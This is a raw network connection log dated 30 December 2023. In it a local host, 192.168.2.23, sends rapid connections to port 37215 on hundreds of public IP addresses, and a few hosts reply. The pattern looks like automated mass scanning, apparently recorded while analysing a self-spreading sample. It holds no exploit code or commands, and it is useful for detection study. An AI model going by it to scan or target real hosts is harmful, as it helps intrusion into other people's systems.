Dec 30, 2023 07:13:43.349456072 CET	3641	37215	192.168.2.23	156.92.28.65
Dec 30, 2023 07:13:43.349457026 CET	3641	37215	192.168.2.23	102.255.37.153
Dec 30, 2023 07:13:43.349456072 CET	3641	37215	192.168.2.23	154.137.24.220
Dec 30, 2023 07:13:43.349457026 CET	3641	37215	192.168.2.23	156.206.85.101
Dec 30, 2023 07:13:43.349458933 CET	3641	37215	192.168.2.23	222.88.234.26
Dec 30, 2023 07:13:43.349456072 CET	3641	37215	192.168.2.23	122.230.101.149
Dec 30, 2023 07:13:43.349456072 CET	3641	37215	192.168.2.23	197.164.78.250
Dec 30, 2023 07:13:43.349458933 CET	3641	37215	192.168.2.23	156.112.85.27
Dec 30, 2023 07:13:43.349457026 CET	3641	37215	192.168.2.23	154.253.84.212
Dec 30, 2023 07:13:43.349477053 CET	3641	37215	192.168.2.23	156.134.109.141
Dec 30, 2023 07:13:43.349477053 CET	3641	37215	192.168.2.23	197.3.214.41
Dec 30, 2023 07:13:43.349478006 CET	3641	37215	192.168.2.23	197.123.116.55
Dec 30, 2023 07:13:43.349477053 CET	3641	37215	192.168.2.23	92.60.239.93
Dec 30, 2023 07:13:43.349478006 CET	3641	37215	192.168.2.23	107.101.160.192
Dec 30, 2023 07:13:43.349477053 CET	3641	37215	192.168.2.23	197.67.32.194
Dec 30, 2023 07:13:43.349478006 CET	3641	37215	192.168.2.23	156.100.132.196
Dec 30, 2023 07:13:43.349477053 CET	3641	37215	192.168.2.23	156.64.69.193
Dec 30, 2023 07:13:43.349478006 CET	3641	37215	192.168.2.23	197.146.94.13
Dec 30, 2023 07:13:43.349478006 CET	3641	37215	192.168.2.23	197.84.103.19
Dec 30, 2023 07:13:43.349482059 CET	3641	37215	192.168.2.23	138.193.3.213
Dec 30, 2023 07:13:43.349478006 CET	3641	37215	192.168.2.23	156.74.255.79
Dec 30, 2023 07:13:43.349482059 CET	3641	37215	192.168.2.23	156.185.111.225
Dec 30, 2023 07:13:43.349478006 CET	3641	37215	192.168.2.23	197.32.102.101
Dec 30, 2023 07:13:43.349482059 CET	3641	37215	192.168.2.23	222.118.197.95
Dec 30, 2023 07:13:43.349488020 CET	3641	37215	192.168.2.23	197.28.149.144
Dec 30, 2023 07:13:43.349478006 CET	3641	37215	192.168.2.23	41.129.112.137
Dec 30, 2023 07:13:43.349488020 CET	3641	37215	192.168.2.23	138.82.97.70
Dec 30, 2023 07:13:43.349488020 CET	3641	37215	192.168.2.23	41.234.61.9
Dec 30, 2023 07:13:43.349478006 CET	3641	37215	192.168.2.23	197.195.53.243
Dec 30, 2023 07:13:43.349488020 CET	3641	37215	192.168.2.23	41.215.177.227
Dec 30, 2023 07:13:43.349478006 CET	3641	37215	192.168.2.23	94.196.17.124
Dec 30, 2023 07:13:43.349486113 CET	3641	37215	192.168.2.23	41.4.191.106
Dec 30, 2023 07:13:43.349486113 CET	3641	37215	192.168.2.23	157.222.26.74
Dec 30, 2023 07:13:43.349486113 CET	3641	37215	192.168.2.23	102.228.37.150
Dec 30, 2023 07:13:43.349495888 CET	3641	37215	192.168.2.23	154.111.207.49
Dec 30, 2023 07:13:43.349519014 CET	3641	37215	192.168.2.23	222.165.106.184
Dec 30, 2023 07:13:43.349519014 CET	3641	37215	192.168.2.23	121.174.39.230
Dec 30, 2023 07:13:43.349519014 CET	3641	37215	192.168.2.23	41.29.62.113
Dec 30, 2023 07:13:43.349519014 CET	3641	37215	192.168.2.23	41.21.237.50
Dec 30, 2023 07:13:43.349522114 CET	3641	37215	192.168.2.23	156.200.243.132
Dec 30, 2023 07:13:43.349522114 CET	3641	37215	192.168.2.23	197.178.56.58
Dec 30, 2023 07:13:43.349549055 CET	3641	37215	192.168.2.23	197.41.123.112
Dec 30, 2023 07:13:43.349549055 CET	3641	37215	192.168.2.23	197.142.13.205
Dec 30, 2023 07:13:43.349549055 CET	3641	37215	192.168.2.23	197.174.236.129
Dec 30, 2023 07:13:43.349549055 CET	3641	37215	192.168.2.23	156.213.145.13
Dec 30, 2023 07:13:43.349549055 CET	3641	37215	192.168.2.23	156.15.7.98
Dec 30, 2023 07:13:43.349549055 CET	3641	37215	192.168.2.23	156.153.234.200
Dec 30, 2023 07:13:43.349549055 CET	3641	37215	192.168.2.23	197.241.105.205
Dec 30, 2023 07:13:43.349549055 CET	3641	37215	192.168.2.23	92.156.153.153
Dec 30, 2023 07:13:43.349555016 CET	3641	37215	192.168.2.23	41.141.189.169
Dec 30, 2023 07:13:43.349555016 CET	3641	37215	192.168.2.23	197.128.192.133
Dec 30, 2023 07:13:43.349559069 CET	3641	37215	192.168.2.23	197.173.170.48
Dec 30, 2023 07:13:43.349559069 CET	3641	37215	192.168.2.23	197.66.172.21
Dec 30, 2023 07:13:43.349559069 CET	3641	37215	192.168.2.23	41.150.76.8
Dec 30, 2023 07:13:43.349559069 CET	3641	37215	192.168.2.23	197.42.232.37
Dec 30, 2023 07:13:43.349559069 CET	3641	37215	192.168.2.23	94.231.159.212
Dec 30, 2023 07:13:43.349560976 CET	3641	37215	192.168.2.23	41.67.54.116
Dec 30, 2023 07:13:43.349560976 CET	3641	37215	192.168.2.23	41.213.131.32
Dec 30, 2023 07:13:43.349560976 CET	3641	37215	192.168.2.23	197.20.108.169
Dec 30, 2023 07:13:43.349565029 CET	3641	37215	192.168.2.23	120.7.189.31
Dec 30, 2023 07:13:43.349560976 CET	3641	37215	192.168.2.23	197.29.188.180
Dec 30, 2023 07:13:43.349565029 CET	3641	37215	192.168.2.23	156.184.100.250
Dec 30, 2023 07:13:43.349565983 CET	3641	37215	192.168.2.23	92.123.137.183
Dec 30, 2023 07:13:43.349570036 CET	3641	37215	192.168.2.23	197.172.94.44
Dec 30, 2023 07:13:43.349574089 CET	3641	37215	192.168.2.23	197.232.222.198
Dec 30, 2023 07:13:43.349574089 CET	3641	37215	192.168.2.23	41.19.182.69
Dec 30, 2023 07:13:43.349580050 CET	3641	37215	192.168.2.23	156.100.154.154
Dec 30, 2023 07:13:43.349594116 CET	3641	37215	192.168.2.23	41.197.93.39
Dec 30, 2023 07:13:43.349594116 CET	3641	37215	192.168.2.23	197.141.21.20
Dec 30, 2023 07:13:43.349594116 CET	3641	37215	192.168.2.23	197.226.127.86
Dec 30, 2023 07:13:43.349600077 CET	3641	37215	192.168.2.23	197.136.134.47
Dec 30, 2023 07:13:43.349605083 CET	3641	37215	192.168.2.23	102.156.236.219
Dec 30, 2023 07:13:43.349605083 CET	3641	37215	192.168.2.23	41.227.201.98
Dec 30, 2023 07:13:43.349605083 CET	3641	37215	192.168.2.23	156.98.2.178
Dec 30, 2023 07:13:43.349605083 CET	3641	37215	192.168.2.23	41.207.73.230
Dec 30, 2023 07:13:43.349605083 CET	3641	37215	192.168.2.23	107.90.146.245
Dec 30, 2023 07:13:43.349605083 CET	3641	37215	192.168.2.23	156.160.11.241
Dec 30, 2023 07:13:43.349605083 CET	3641	37215	192.168.2.23	41.41.114.177
Dec 30, 2023 07:13:43.349611044 CET	3641	37215	192.168.2.23	156.112.248.245
Dec 30, 2023 07:13:43.349611044 CET	3641	37215	192.168.2.23	197.138.26.242
Dec 30, 2023 07:13:43.349611044 CET	3641	37215	192.168.2.23	156.134.29.106
Dec 30, 2023 07:13:43.349611044 CET	3641	37215	192.168.2.23	41.118.90.118
Dec 30, 2023 07:13:43.349611044 CET	3641	37215	192.168.2.23	41.5.23.233
Dec 30, 2023 07:13:43.349616051 CET	3641	37215	192.168.2.23	156.246.164.27
Dec 30, 2023 07:13:43.349616051 CET	3641	37215	192.168.2.23	41.137.149.223
Dec 30, 2023 07:13:43.349616051 CET	3641	37215	192.168.2.23	107.2.111.237
Dec 30, 2023 07:13:43.349616051 CET	3641	37215	192.168.2.23	197.127.252.242
Dec 30, 2023 07:13:43.349616051 CET	3641	37215	192.168.2.23	156.217.167.22
Dec 30, 2023 07:13:43.349616051 CET	3641	37215	192.168.2.23	41.238.176.220
Dec 30, 2023 07:13:43.349616051 CET	3641	37215	192.168.2.23	41.223.43.102
Dec 30, 2023 07:13:43.349616051 CET	3641	37215	192.168.2.23	197.44.25.247
Dec 30, 2023 07:13:43.349617958 CET	3641	37215	192.168.2.23	41.85.22.183
Dec 30, 2023 07:13:43.349617958 CET	3641	37215	192.168.2.23	120.101.100.66
Dec 30, 2023 07:13:43.349622011 CET	3641	37215	192.168.2.23	156.167.75.95
Dec 30, 2023 07:13:43.349631071 CET	3641	37215	192.168.2.23	197.175.53.165
Dec 30, 2023 07:13:43.349637985 CET	3641	37215	192.168.2.23	156.135.179.115
Dec 30, 2023 07:13:43.349637985 CET	3641	37215	192.168.2.23	197.252.137.97
Dec 30, 2023 07:13:43.349639893 CET	3641	37215	192.168.2.23	156.226.186.52
Dec 30, 2023 07:13:43.349639893 CET	3641	37215	192.168.2.23	41.171.50.118
Dec 30, 2023 07:13:43.349639893 CET	3641	37215	192.168.2.23	197.161.179.141
Dec 30, 2023 07:13:43.349639893 CET	3641	37215	192.168.2.23	41.112.220.102
Dec 30, 2023 07:13:43.349643946 CET	3641	37215	192.168.2.23	41.111.247.198
Dec 30, 2023 07:13:43.349643946 CET	3641	37215	192.168.2.23	92.89.227.57
Dec 30, 2023 07:13:43.349643946 CET	3641	37215	192.168.2.23	92.101.96.47
Dec 30, 2023 07:13:43.349649906 CET	3641	37215	192.168.2.23	41.77.40.46
Dec 30, 2023 07:13:43.349649906 CET	3641	37215	192.168.2.23	156.208.155.121
Dec 30, 2023 07:13:43.349649906 CET	3641	37215	192.168.2.23	107.181.237.237
Dec 30, 2023 07:13:43.349651098 CET	3641	37215	192.168.2.23	197.17.254.49
Dec 30, 2023 07:13:43.349649906 CET	3641	37215	192.168.2.23	156.16.240.137
Dec 30, 2023 07:13:43.349651098 CET	3641	37215	192.168.2.23	156.155.11.102
Dec 30, 2023 07:13:43.349649906 CET	3641	37215	192.168.2.23	197.68.24.197
Dec 30, 2023 07:13:43.349651098 CET	3641	37215	192.168.2.23	197.8.85.47
Dec 30, 2023 07:13:43.349649906 CET	3641	37215	192.168.2.23	95.13.56.215
Dec 30, 2023 07:13:43.349653006 CET	3641	37215	192.168.2.23	156.196.25.199
Dec 30, 2023 07:13:43.349649906 CET	3641	37215	192.168.2.23	197.39.89.218
Dec 30, 2023 07:13:43.349662066 CET	3641	37215	192.168.2.23	156.42.80.125
Dec 30, 2023 07:13:43.349662066 CET	3641	37215	192.168.2.23	197.39.43.198
Dec 30, 2023 07:13:43.349674940 CET	3641	37215	192.168.2.23	157.210.17.210
Dec 30, 2023 07:13:43.349677086 CET	3641	37215	192.168.2.23	160.221.141.225
Dec 30, 2023 07:13:43.349678993 CET	3641	37215	192.168.2.23	41.233.230.64
Dec 30, 2023 07:13:43.349680901 CET	3641	37215	192.168.2.23	197.157.133.3
Dec 30, 2023 07:13:43.349697113 CET	3641	37215	192.168.2.23	156.102.25.36
Dec 30, 2023 07:13:43.349698067 CET	3641	37215	192.168.2.23	197.37.52.61
Dec 30, 2023 07:13:43.349697113 CET	3641	37215	192.168.2.23	37.219.159.61
Dec 30, 2023 07:13:43.349698067 CET	3641	37215	192.168.2.23	197.108.112.167
Dec 30, 2023 07:13:43.349699974 CET	3641	37215	192.168.2.23	41.210.56.254
Dec 30, 2023 07:13:43.349701881 CET	3641	37215	192.168.2.23	157.120.24.62
Dec 30, 2023 07:13:43.349701881 CET	3641	37215	192.168.2.23	41.139.192.42
Dec 30, 2023 07:13:43.349704027 CET	3641	37215	192.168.2.23	197.55.99.206
Dec 30, 2023 07:13:43.349704027 CET	3641	37215	192.168.2.23	41.243.9.202
Dec 30, 2023 07:13:43.349704027 CET	3641	37215	192.168.2.23	41.47.179.23
Dec 30, 2023 07:13:43.349704027 CET	3641	37215	192.168.2.23	190.226.163.57
Dec 30, 2023 07:13:43.349714041 CET	3641	37215	192.168.2.23	156.235.222.93
Dec 30, 2023 07:13:43.349723101 CET	3641	37215	192.168.2.23	196.243.3.220
Dec 30, 2023 07:13:43.349723101 CET	3641	37215	192.168.2.23	197.154.69.3
Dec 30, 2023 07:13:43.349724054 CET	3641	37215	192.168.2.23	160.126.140.152
Dec 30, 2023 07:13:43.349724054 CET	3641	37215	192.168.2.23	156.51.52.0
Dec 30, 2023 07:13:43.349724054 CET	3641	37215	192.168.2.23	197.107.194.254
Dec 30, 2023 07:13:43.349724054 CET	3641	37215	192.168.2.23	197.239.60.247
Dec 30, 2023 07:13:43.349726915 CET	3641	37215	192.168.2.23	41.231.140.189
Dec 30, 2023 07:13:43.349726915 CET	3641	37215	192.168.2.23	156.223.93.73
Dec 30, 2023 07:13:43.349726915 CET	3641	37215	192.168.2.23	92.80.115.22
Dec 30, 2023 07:13:43.349726915 CET	3641	37215	192.168.2.23	156.182.34.198
Dec 30, 2023 07:13:43.349736929 CET	3641	37215	192.168.2.23	197.235.102.127
Dec 30, 2023 07:13:43.349736929 CET	3641	37215	192.168.2.23	156.220.208.183
Dec 30, 2023 07:13:43.349744081 CET	3641	37215	192.168.2.23	160.79.9.72
Dec 30, 2023 07:13:43.349744081 CET	3641	37215	192.168.2.23	154.228.79.110
Dec 30, 2023 07:13:43.349747896 CET	3641	37215	192.168.2.23	197.12.142.222
Dec 30, 2023 07:13:43.349747896 CET	3641	37215	192.168.2.23	107.119.242.128
Dec 30, 2023 07:13:43.349749088 CET	3641	37215	192.168.2.23	156.143.196.152
Dec 30, 2023 07:13:43.349750042 CET	3641	37215	192.168.2.23	197.81.75.125
Dec 30, 2023 07:13:43.349749088 CET	3641	37215	192.168.2.23	156.62.253.141
Dec 30, 2023 07:13:43.349750042 CET	3641	37215	192.168.2.23	197.183.250.19
Dec 30, 2023 07:13:43.349750042 CET	3641	37215	192.168.2.23	121.142.136.73
Dec 30, 2023 07:13:43.349750996 CET	3641	37215	192.168.2.23	222.84.212.69
Dec 30, 2023 07:13:43.349755049 CET	3641	37215	192.168.2.23	41.139.4.204
Dec 30, 2023 07:13:43.349755049 CET	3641	37215	192.168.2.23	92.162.136.240
Dec 30, 2023 07:13:43.385967970 CET	37215	3641	197.130.100.227	192.168.2.23
Dec 30, 2023 07:13:43.501882076 CET	37215	3641	107.165.241.50	192.168.2.23
Dec 30, 2023 07:13:43.595371008 CET	37215	3641	95.179.140.96	192.168.2.23
Dec 30, 2023 07:13:43.621691942 CET	37215	3641	160.116.2.90	192.168.2.23
Dec 30, 2023 07:13:43.643793106 CET	37215	3641	41.34.153.240	192.168.2.23
Dec 30, 2023 07:13:43.655715942 CET	37215	3641	222.118.197.95	192.168.2.23
Dec 30, 2023 07:13:43.658257961 CET	37215	3641	37.107.190.253	192.168.2.23
Dec 30, 2023 07:13:43.662729979 CET	37215	3641	121.142.136.73	192.168.2.23
Dec 30, 2023 07:13:43.671164989 CET	37215	3641	197.6.62.96	192.168.2.23
Dec 30, 2023 07:13:43.671237946 CET	3641	37215	192.168.2.23	197.6.62.96
Dec 30, 2023 07:13:43.671437025 CET	37215	3641	197.6.62.96	192.168.2.23
Dec 30, 2023 07:13:43.715864897 CET	37215	3641	41.220.109.145	192.168.2.23
Dec 30, 2023 07:13:43.763983011 CET	37215	3641	197.234.168.182	192.168.2.23
Dec 30, 2023 07:13:43.910151958 CET	37215	3641	41.85.221.169	192.168.2.23
Dec 30, 2023 07:13:44.234816074 CET	43928	443	192.168.2.23	91.189.91.42
Dec 30, 2023 07:13:44.350770950 CET	3641	37215	192.168.2.23	41.248.113.206
Dec 30, 2023 07:13:44.350770950 CET	3641	37215	192.168.2.23	95.244.184.86
Dec 30, 2023 07:13:44.350789070 CET	3641	37215	192.168.2.23	197.245.225.185
Dec 30, 2023 07:13:44.350790977 CET	3641	37215	192.168.2.23	95.126.79.200
Dec 30, 2023 07:13:44.350800037 CET	3641	37215	192.168.2.23	156.177.145.121
Dec 30, 2023 07:13:44.350800037 CET	3641	37215	192.168.2.23	157.255.91.169
Dec 30, 2023 07:13:44.350800991 CET	3641	37215	192.168.2.23	196.218.45.27
Dec 30, 2023 07:13:44.350800037 CET	3641	37215	192.168.2.23	41.166.43.170
Dec 30, 2023 07:13:44.350810051 CET	3641	37215	192.168.2.23	197.9.251.149
Dec 30, 2023 07:13:44.350811958 CET	3641	37215	192.168.2.23	156.9.76.177
Dec 30, 2023 07:13:44.350810051 CET	3641	37215	192.168.2.23	156.70.43.131
Dec 30, 2023 07:13:44.350811958 CET	3641	37215	192.168.2.23	41.206.75.73
Dec 30, 2023 07:13:44.350817919 CET	3641	37215	192.168.2.23	156.37.111.242
Dec 30, 2023 07:13:44.350824118 CET	3641	37215	192.168.2.23	156.5.228.242
Dec 30, 2023 07:13:44.350824118 CET	3641	37215	192.168.2.23	102.40.181.207
Dec 30, 2023 07:13:44.350824118 CET	3641	37215	192.168.2.23	41.59.121.14
Dec 30, 2023 07:13:44.350831985 CET	3641	37215	192.168.2.23	197.101.112.92
Dec 30, 2023 07:13:44.350832939 CET	3641	37215	192.168.2.23	154.1.143.194
Dec 30, 2023 07:13:44.350831985 CET	3641	37215	192.168.2.23	107.17.125.160
Dec 30, 2023 07:13:44.350832939 CET	3641	37215	192.168.2.23	156.129.58.16
Dec 30, 2023 07:13:44.350841999 CET	3641	37215	192.168.2.23	156.187.218.224
Dec 30, 2023 07:13:44.350842953 CET	3641	37215	192.168.2.23	197.58.51.201
Dec 30, 2023 07:13:44.350864887 CET	3641	37215	192.168.2.23	95.139.210.227
Dec 30, 2023 07:13:44.350860119 CET	3641	37215	192.168.2.23	157.208.86.74
Dec 30, 2023 07:13:44.350864887 CET	3641	37215	192.168.2.23	156.247.100.26
Dec 30, 2023 07:13:44.350864887 CET	3641	37215	192.168.2.23	190.86.56.158
Dec 30, 2023 07:13:44.350867033 CET	3641	37215	192.168.2.23	197.215.233.23
Dec 30, 2023 07:13:44.350867033 CET	3641	37215	192.168.2.23	156.110.131.237
Dec 30, 2023 07:13:44.350869894 CET	3641	37215	192.168.2.23	186.74.140.20
Dec 30, 2023 07:13:44.350871086 CET	3641	37215	192.168.2.23	156.52.251.39
Dec 30, 2023 07:13:44.350873947 CET	3641	37215	192.168.2.23	92.196.100.207
Dec 30, 2023 07:13:44.350873947 CET	3641	37215	192.168.2.23	197.24.236.25
Dec 30, 2023 07:13:44.350878954 CET	3641	37215	192.168.2.23	41.50.59.156
Dec 30, 2023 07:13:44.350879908 CET	3641	37215	192.168.2.23	94.145.103.221
Dec 30, 2023 07:13:44.350886106 CET	3641	37215	192.168.2.23	41.45.133.203
Dec 30, 2023 07:13:44.350893021 CET	3641	37215	192.168.2.23	156.123.246.23
Dec 30, 2023 07:13:44.350893974 CET	3641	37215	192.168.2.23	156.33.95.51
Dec 30, 2023 07:13:44.350893021 CET	3641	37215	192.168.2.23	197.125.248.41
Dec 30, 2023 07:13:44.350898981 CET	3641	37215	192.168.2.23	157.172.76.3
Dec 30, 2023 07:13:44.350903988 CET	3641	37215	192.168.2.23	156.199.45.193
Dec 30, 2023 07:13:44.350914001 CET	3641	37215	192.168.2.23	41.221.211.55
Dec 30, 2023 07:13:44.350917101 CET	3641	37215	192.168.2.23	121.27.218.206
Dec 30, 2023 07:13:44.350917101 CET	3641	37215	192.168.2.23	41.174.93.212
Dec 30, 2023 07:13:44.350918055 CET	3641	37215	192.168.2.23	222.131.161.123
Dec 30, 2023 07:13:44.350917101 CET	3641	37215	192.168.2.23	197.128.16.134
Dec 30, 2023 07:13:44.350928068 CET	3641	37215	192.168.2.23	197.109.233.153
Dec 30, 2023 07:13:44.350936890 CET	3641	37215	192.168.2.23	156.204.94.120
Dec 30, 2023 07:13:44.350943089 CET	3641	37215	192.168.2.23	41.145.24.227
Dec 30, 2023 07:13:44.350943089 CET	3641	37215	192.168.2.23	197.246.237.122
Dec 30, 2023 07:13:44.350949049 CET	3641	37215	192.168.2.23	95.121.59.231
Dec 30, 2023 07:13:44.350953102 CET	3641	37215	192.168.2.23	190.198.16.131
Dec 30, 2023 07:13:44.350958109 CET	3641	37215	192.168.2.23	156.23.23.127
Dec 30, 2023 07:13:44.350969076 CET	3641	37215	192.168.2.23	222.244.242.187
Dec 30, 2023 07:13:44.350969076 CET	3641	37215	192.168.2.23	41.179.48.19
Dec 30, 2023 07:13:44.350974083 CET	3641	37215	192.168.2.23	45.13.152.22
Dec 30, 2023 07:13:44.350974083 CET	3641	37215	192.168.2.23	156.230.54.93
Dec 30, 2023 07:13:44.350974083 CET	3641	37215	192.168.2.23	157.180.2.226
Dec 30, 2023 07:13:44.350984097 CET	3641	37215	192.168.2.23	41.182.92.90
Dec 30, 2023 07:13:44.350990057 CET	3641	37215	192.168.2.23	156.159.126.235
Dec 30, 2023 07:13:44.350992918 CET	3641	37215	192.168.2.23	156.154.12.192
Dec 30, 2023 07:13:44.350992918 CET	3641	37215	192.168.2.23	197.139.202.58
Dec 30, 2023 07:13:44.350997925 CET	3641	37215	192.168.2.23	120.90.69.116
Dec 30, 2023 07:13:44.351006985 CET	3641	37215	192.168.2.23	156.238.57.226
Dec 30, 2023 07:13:44.351016045 CET	3641	37215	192.168.2.23	196.68.158.169
Dec 30, 2023 07:13:44.351016998 CET	3641	37215	192.168.2.23	156.5.188.36
Dec 30, 2023 07:13:44.351016998 CET	3641	37215	192.168.2.23	37.250.11.184
Dec 30, 2023 07:13:44.351016998 CET	3641	37215	192.168.2.23	190.67.158.231
Dec 30, 2023 07:13:44.351025105 CET	3641	37215	192.168.2.23	41.42.80.135
Dec 30, 2023 07:13:44.351028919 CET	3641	37215	192.168.2.23	197.52.101.33
Dec 30, 2023 07:13:44.351031065 CET	3641	37215	192.168.2.23	41.232.32.235
Dec 30, 2023 07:13:44.351031065 CET	3641	37215	192.168.2.23	94.188.157.212
Dec 30, 2023 07:13:44.351048946 CET	3641	37215	192.168.2.23	197.84.210.40
Dec 30, 2023 07:13:44.351052046 CET	3641	37215	192.168.2.23	186.129.198.145
Dec 30, 2023 07:13:44.351056099 CET	3641	37215	192.168.2.23	181.23.70.202
Dec 30, 2023 07:13:44.351057053 CET	3641	37215	192.168.2.23	156.243.85.63
Dec 30, 2023 07:13:44.351059914 CET	3641	37215	192.168.2.23	197.103.70.197
Dec 30, 2023 07:13:44.351068020 CET	3641	37215	192.168.2.23	41.218.161.99
Dec 30, 2023 07:13:44.351075888 CET	3641	37215	192.168.2.23	156.71.173.207
Dec 30, 2023 07:13:44.351075888 CET	3641	37215	192.168.2.23	41.220.33.137
Dec 30, 2023 07:13:44.351078033 CET	3641	37215	192.168.2.23	181.198.63.40
Dec 30, 2023 07:13:44.351078033 CET	3641	37215	192.168.2.23	190.31.130.71
Dec 30, 2023 07:13:44.351080894 CET	3641	37215	192.168.2.23	41.18.115.168
Dec 30, 2023 07:13:44.351084948 CET	3641	37215	192.168.2.23	197.13.145.48
Dec 30, 2023 07:13:44.351088047 CET	3641	37215	192.168.2.23	197.138.190.121
Dec 30, 2023 07:13:44.351104021 CET	3641	37215	192.168.2.23	197.22.145.47
Dec 30, 2023 07:13:44.351109028 CET	3641	37215	192.168.2.23	196.55.4.217
Dec 30, 2023 07:13:44.351109028 CET	3641	37215	192.168.2.23	102.148.4.235
Dec 30, 2023 07:13:44.351109982 CET	3641	37215	192.168.2.23	156.243.53.54
Dec 30, 2023 07:13:44.351110935 CET	3641	37215	192.168.2.23	156.132.224.234
Dec 30, 2023 07:13:44.351113081 CET	3641	37215	192.168.2.23	197.95.120.153
Dec 30, 2023 07:13:44.351123095 CET	3641	37215	192.168.2.23	41.46.237.85
Dec 30, 2023 07:13:44.351125002 CET	3641	37215	192.168.2.23	41.115.27.242
Dec 30, 2023 07:13:44.351138115 CET	3641	37215	192.168.2.23	41.13.9.87
Dec 30, 2023 07:13:44.351144075 CET	3641	37215	192.168.2.23	41.244.138.205
Dec 30, 2023 07:13:44.351145983 CET	3641	37215	192.168.2.23	156.197.101.110
Dec 30, 2023 07:13:44.351151943 CET	3641	37215	192.168.2.23	156.248.80.140
Dec 30, 2023 07:13:44.351155043 CET	3641	37215	192.168.2.23	156.118.78.89
Dec 30, 2023 07:13:44.351155996 CET	3641	37215	192.168.2.23	197.35.214.94
Dec 30, 2023 07:13:44.351156950 CET	3641	37215	192.168.2.23	181.128.76.121
Dec 30, 2023 07:13:44.351159096 CET	3641	37215	192.168.2.23	156.135.0.53
Dec 30, 2023 07:13:44.351165056 CET	3641	37215	192.168.2.23	41.89.217.29
Dec 30, 2023 07:13:44.351176023 CET	3641	37215	192.168.2.23	196.47.19.174
Dec 30, 2023 07:13:44.351176977 CET	3641	37215	192.168.2.23	41.209.175.211
Dec 30, 2023 07:13:44.351176977 CET	3641	37215	192.168.2.23	41.216.156.93
Dec 30, 2023 07:13:44.351180077 CET	3641	37215	192.168.2.23	156.77.63.156
Dec 30, 2023 07:13:44.351180077 CET	3641	37215	192.168.2.23	196.135.232.201
Dec 30, 2023 07:13:44.351185083 CET	3641	37215	192.168.2.23	156.101.25.137
Dec 30, 2023 07:13:44.351187944 CET	3641	37215	192.168.2.23	102.147.105.196
Dec 30, 2023 07:13:44.351186037 CET	3641	37215	192.168.2.23	122.62.45.15
Dec 30, 2023 07:13:44.351191998 CET	3641	37215	192.168.2.23	156.247.17.22
Dec 30, 2023 07:13:44.351200104 CET	3641	37215	192.168.2.23	41.90.120.167
Dec 30, 2023 07:13:44.351202965 CET	3641	37215	192.168.2.23	156.225.39.91
Dec 30, 2023 07:13:44.351210117 CET	3641	37215	192.168.2.23	156.76.222.185
Dec 30, 2023 07:13:44.351216078 CET	3641	37215	192.168.2.23	197.132.98.72
Dec 30, 2023 07:13:44.351218939 CET	3641	37215	192.168.2.23	197.34.10.87
Dec 30, 2023 07:13:44.351227999 CET	3641	37215	192.168.2.23	160.38.2.93
Dec 30, 2023 07:13:44.351228952 CET	3641	37215	192.168.2.23	45.209.118.55
Dec 30, 2023 07:13:44.351229906 CET	3641	37215	192.168.2.23	197.105.239.98
Dec 30, 2023 07:13:44.351233006 CET	3641	37215	192.168.2.23	41.23.196.123
Dec 30, 2023 07:13:44.351236105 CET	3641	37215	192.168.2.23	41.132.228.47
Dec 30, 2023 07:13:44.351260900 CET	3641	37215	192.168.2.23	186.95.82.249
Dec 30, 2023 07:13:44.351260900 CET	3641	37215	192.168.2.23	197.246.77.190
Dec 30, 2023 07:13:44.351260900 CET	3641	37215	192.168.2.23	37.9.29.207
Dec 30, 2023 07:13:44.351262093 CET	3641	37215	192.168.2.23	154.170.85.122
Dec 30, 2023 07:13:44.351262093 CET	3641	37215	192.168.2.23	156.105.169.34
Dec 30, 2023 07:13:44.351263046 CET	3641	37215	192.168.2.23	41.14.233.61
Dec 30, 2023 07:13:44.351265907 CET	3641	37215	192.168.2.23	186.3.102.111
Dec 30, 2023 07:13:44.351269007 CET	3641	37215	192.168.2.23	222.27.185.216
Dec 30, 2023 07:13:44.351274014 CET	3641	37215	192.168.2.23	41.230.125.228
Dec 30, 2023 07:13:44.351274014 CET	3641	37215	192.168.2.23	121.176.253.64
Dec 30, 2023 07:13:44.351278067 CET	3641	37215	192.168.2.23	156.8.213.215
Dec 30, 2023 07:13:44.351278067 CET	3641	37215	192.168.2.23	197.149.117.175
Dec 30, 2023 07:13:44.351278067 CET	3641	37215	192.168.2.23	41.143.76.103
Dec 30, 2023 07:13:44.351278067 CET	3641	37215	192.168.2.23	197.158.31.107
Dec 30, 2023 07:13:44.351280928 CET	3641	37215	192.168.2.23	197.50.39.181
Dec 30, 2023 07:13:44.351291895 CET	3641	37215	192.168.2.23	122.199.228.113
Dec 30, 2023 07:13:44.351293087 CET	3641	37215	192.168.2.23	41.84.136.117
Dec 30, 2023 07:13:44.351293087 CET	3641	37215	192.168.2.23	41.96.153.174
Dec 30, 2023 07:13:44.351303101 CET	3641	37215	192.168.2.23	156.157.182.48
Dec 30, 2023 07:13:44.351314068 CET	3641	37215	192.168.2.23	121.167.15.195
Dec 30, 2023 07:13:44.351315975 CET	3641	37215	192.168.2.23	41.17.199.170
Dec 30, 2023 07:13:44.351317883 CET	3641	37215	192.168.2.23	156.199.199.39
Dec 30, 2023 07:13:44.351319075 CET	3641	37215	192.168.2.23	197.103.246.47
Dec 30, 2023 07:13:44.351319075 CET	3641	37215	192.168.2.23	41.3.95.101
Dec 30, 2023 07:13:44.351319075 CET	3641	37215	192.168.2.23	138.188.227.10
Dec 30, 2023 07:13:44.351329088 CET	3641	37215	192.168.2.23	41.148.158.206
Dec 30, 2023 07:13:44.351330042 CET	3641	37215	192.168.2.23	41.73.105.235
Dec 30, 2023 07:13:44.351330996 CET	3641	37215	192.168.2.23	41.198.205.182
Dec 30, 2023 07:13:44.351330996 CET	3641	37215	192.168.2.23	160.179.32.48
Dec 30, 2023 07:13:44.351330996 CET	3641	37215	192.168.2.23	120.93.208.21
Dec 30, 2023 07:13:44.351337910 CET	3641	37215	192.168.2.23	156.62.104.217
Dec 30, 2023 07:13:44.351337910 CET	3641	37215	192.168.2.23	41.203.225.129
Dec 30, 2023 07:13:44.351341009 CET	3641	37215	192.168.2.23	156.64.54.134
Dec 30, 2023 07:13:44.351344109 CET	3641	37215	192.168.2.23	197.78.29.197
Dec 30, 2023 07:13:44.351346016 CET	3641	37215	192.168.2.23	92.17.181.80
Dec 30, 2023 07:13:44.351349115 CET	3641	37215	192.168.2.23	41.224.193.193
Dec 30, 2023 07:13:44.351351976 CET	3641	37215	192.168.2.23	196.239.154.201
Dec 30, 2023 07:13:44.351353884 CET	3641	37215	192.168.2.23	156.244.57.109
Dec 30, 2023 07:13:44.351353884 CET	3641	37215	192.168.2.23	160.22.180.180
Dec 30, 2023 07:13:44.351355076 CET	3641	37215	192.168.2.23	222.26.53.116
Dec 30, 2023 07:13:44.351357937 CET	3641	37215	192.168.2.23	41.144.234.244
